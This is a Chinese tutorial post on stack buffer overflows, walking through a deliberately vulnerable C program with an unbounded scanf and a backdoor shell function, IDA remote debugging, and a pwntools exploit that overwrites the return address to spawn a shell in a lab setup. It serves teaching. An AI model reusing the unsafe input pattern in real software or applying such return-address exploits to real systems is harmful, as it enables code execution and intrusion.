溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何理解棧溢出原理以及EXP的編寫

發(fā)布時(shí)間:2021-10-25 17:15:01 來源:億速云 閱讀:117 作者:iii 欄目:編程語言

本篇內(nèi)容介紹了“如何理解棧溢出原理以及EXP的編寫”的有關(guān)知識(shí),在實(shí)際案例的操作過程中,不少人都會(huì)遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!

存在棧溢出的代碼分析

稍微懂點(diǎn)C和匯編,這個(gè)例子人人都能上手,簡(jiǎn)單說,有手就行。貼出我們本次實(shí)驗(yàn)要使用的C代碼,解釋的方式我都用注釋來進(jìn)行:

//stack_overflow.c
#include <stdio.h>

// 這是存在棧溢出的函數(shù)
void stack_overflow()
{
        char buf[64] = {0};
        scanf("%s", &buf); //將輸入的數(shù)據(jù)讀入buf中
        printf("Hello %s\n", &buf); //打印出buf中的內(nèi)容
}

// 為了方便實(shí)驗(yàn)這里留下一個(gè)后門函數(shù)
void get_shell()
{
        system("/bin/sh");
}

// 程序入口
void main()
{
        stack_overflow();
}

分析一下,上邊代碼存在棧溢出的部分在`scanf()`函數(shù),因?yàn)閎uf是在??臻g中的,buf是分配了64個(gè)字節(jié)但是卻沒有限制輸入的長(zhǎng)度。

如何棧溢出

既然是棧溢出,那么我相信大家都有一定的基礎(chǔ)吧,起碼了解下什么是棧。首先最重要的是,我們要知道為什么會(huì)有棧的存在,這要從函數(shù)的發(fā)明說起,感興趣的可以查閱一下wiki。棧的用途之一就是為了存儲(chǔ)局部變量,那么上層函數(shù)的返回地址也存儲(chǔ)在棧中。

第一次調(diào)試

代碼寫好了,我們先來編譯運(yùn)行一下

[root@localhost pwn]# gcc stack_overflow.c -o stack_overflow
[root@localhost pwn]# ./stack_overflow 
stack_overflow
Hello stack_overflow

好,結(jié)果簡(jiǎn)簡(jiǎn)單單,輸入一個(gè)字符串,然后輸出。那么我們打開宿主機(jī)的IDA,把我們編譯好的程序拖進(jìn)IDA,然后在stack_overflow的地方下好斷點(diǎn)

如何理解棧溢出原理以及EXP的編寫接下來將IDA安裝目錄的linux_server拷貝到centOS上,運(yùn)行起來

[root@localhost pwn]# ./linux_server 
IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017
Listening on 0.0.0.0:23946...

到IDA中,選擇 "Debugger" --> "Select debugger";然后選”Remote Linux debugger“,點(diǎn)擊“OK”;點(diǎn)擊“Debugger” --> "Process options...";Hostname填入centOS的IP,Port默認(rèn)是23946;其他的默認(rèn),然后我們按“F9”開始調(diào)試

如何理解棧溢出原理以及EXP的編寫我們繼續(xù)往下走,直到輸入`AAAAAA`之后

如何理解棧溢出原理以及EXP的編寫那么到這里,思路來了,因?yàn)樯线吥莻€(gè)程序沒有對(duì)輸入的長(zhǎng)度做校驗(yàn),對(duì)于上邊那個(gè)程序我們要做的就是計(jì)算好輸入的長(zhǎng)度,然后將后門地址填充到返回的地址,計(jì)算一下輸入的地址距離buf地址的長(zhǎng)度`0xBF8C17BC-0xBF8C1770`等于`0x4C`所以接下來思路就很明確了,我們填充0x4C個(gè)字符后,再填入后門的地址。

第二次調(diào)試

緊接著第一次調(diào)試,這次調(diào)試我們使用pwntools接管程序的輸入輸出。首先,我們?cè)赾entOS上使用socat將輸入輸出轉(zhuǎn)發(fā)到9999端口:

[root@localhost pwn]# socat tcp-listen:9999,reuseaddr,fork EXEC:./stack_overflow,pty,raw,echo=0

[root@localhost pwn]# socat tcp-listen:9999,reuseaddr,fork EXEC:./stack_overflow,pty,raw,echo=0

然后我們用pwntools連接下:

?  ~ python3
Python 3.7.4 (default, Sep  7 2019, 17:46:28)
[Clang 10.0.1 (clang-1001.0.46.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> io = remote('172.16.177.134', 9999)
[x] Opening connection to 172.16.177.134 on port 9999
[x] Opening connection to 172.16.177.134 on port 9999: Trying 172.16.177.134
[+] Opening connection to 172.16.177.134 on port 9999: Done

此時(shí)已經(jīng)連接成功,stack_overflow程序也已經(jīng)跑起來了;返回IDA,我們?cè)趕canf的下一句匯編下好斷點(diǎn);然后選擇"Debugger" --> "Attach to process...",選擇運(yùn)行起來的stack_overflow;點(diǎn)擊"OK";然后再按下"F9",讓程序跑起來

如何理解棧溢出原理以及EXP的編寫在Python中,我們繼續(xù),發(fā)送我們輸入的數(shù)據(jù),記得要發(fā)送一個(gè)回車,也可以用sendline()函數(shù),自帶回車:

>>> payload = b'A'*0x4c + p32(0x0804848e)
>>> io.send(payload)
>>> io.send('\n')

接下來IDA斷下了,我們繼續(xù)往下步過,到retn,我們發(fā)現(xiàn)即將跳轉(zhuǎn)到get_shell()這里。

如何理解棧溢出原理以及EXP的編寫接下來我就不一一調(diào)試了,感興趣的同學(xué)可以繼續(xù)往下跟,這里我直接`F9`,然后使用pwntools進(jìn)入命令行的交互模式,為了讓大家有點(diǎn)感覺`:)`,我這里加了一個(gè)flag.txt:

>>> io.interactive()
[*] Switching to interactive mode
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??
ls
flag.txt  linux_server	stack_overflow	stack_overflow.c
cat flag.txt
flag{Y0u_Win_by_ATL_TEAM}

每次調(diào)試完完記得io.close(),不然會(huì)出現(xiàn)很多stack_overflow的程序。

EXP編寫

綜合上述,那么EXP應(yīng)該這樣寫

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *
io = remote('172.16.177.134', 9999)
payload = b'A'*0x4C + p32(0x08048475)
io.sendline(payload)
io.interactive()
io.close()

“如何理解棧溢出原理以及EXP的編寫”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí)可以關(guān)注億速云網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI